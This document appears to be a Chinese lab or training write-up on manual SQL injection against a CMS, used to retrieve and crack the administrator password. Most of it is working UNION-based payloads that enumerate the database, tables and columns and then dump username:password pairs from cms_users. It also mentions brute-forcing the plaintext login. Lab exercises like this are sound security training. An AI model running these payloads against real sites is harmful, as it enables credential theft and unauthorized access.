任务目标

对 cms 系统进行手工 SQL 注入，通过获取到的管理员密码登录。

查找注入点

首先先找找注入点，经判断在搜索框的 keywords 可能存在 SQL 注入。

在文章阅读框的 id 参数也可能是注入点。

判断注入类型

由于文章阅读框的参数比较简单，所以用这个参数来测试，首先先注入正常的参数，网页回显正常的信息。

尝试注入个单引号闭合，网页回显 MySql 报错，后端的 SQL 语句后面的内容注释后，网页仍然不能回显正确的信息。经过以下所有的测试都一样，也就是说我们注入的引号没有起到闭合的作用，这是一个数字型注入。

1' OR 1 = 1--+
1') OR 1 = 1--+
1')) OR 1 = 1--+
1" OR 1 = 1--+
1") OR 1 = 1--+
1")) OR 1 = 1--+

那就是数值型注入了，直接用注释把后面的东西注释掉，不用引号闭合。

1 OR 1 = 1--+

判断列数

判断表有几列，使用 ORDER BY 子句进行一个排序，看一下对几列有效。经二分法测试，有效的列数有 15 列。

?id=1 ORDER BY 15--+

?id=1 ORDER BY 16--+

判断哪些列是我们能用的，令 id 参数的查询不到结果，然后使用 UNION 进行组合查询。网页回显了数字 3 和 11，说明第 3 列和第 11 列是我们可用的。

?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

获取数据库信息

爆数据库名，我们选择第 3 个位置作为显示位。database() 函数可以回显当前使用的数据库，我们将对它进行查询。

?id=-1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15--+

接下来开始爆表名，在 information_schema.table 进行查询，使用 group_concat() 函数合并查询结果。注意由于编码问题会显示 UNION 非法，由于这个是中文网页，后台数据可能是 gbk 编码，修改编码后回显。

?id=-1 UNION SELECT 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='cms'--+

cms_users 表看上去就是用户名和密码存放的表，所以接下来爆cms_users 表的字段，在 information_schema.columns 爆出来。

?id=-1 UNION SELECT 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'--+

获取敏感信息

接下来我们爆出 cms_users 表中的信息，这个表有用户名和密码这种敏感信息。

?id=-1 UNION SELECT 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 FROM cms.cms_users--+

经查看目测是 md5 加密，随便找个网站查询一下得到原文是 123456。

使用得到的用户名和密码登录后台，完成实验。

值得一提的是我试着抓包看了下，这个密码没有在前端进行加密，直接传的是明文，所以用爆破和一些社工库也可以很轻松地把一些弱密码爆出来。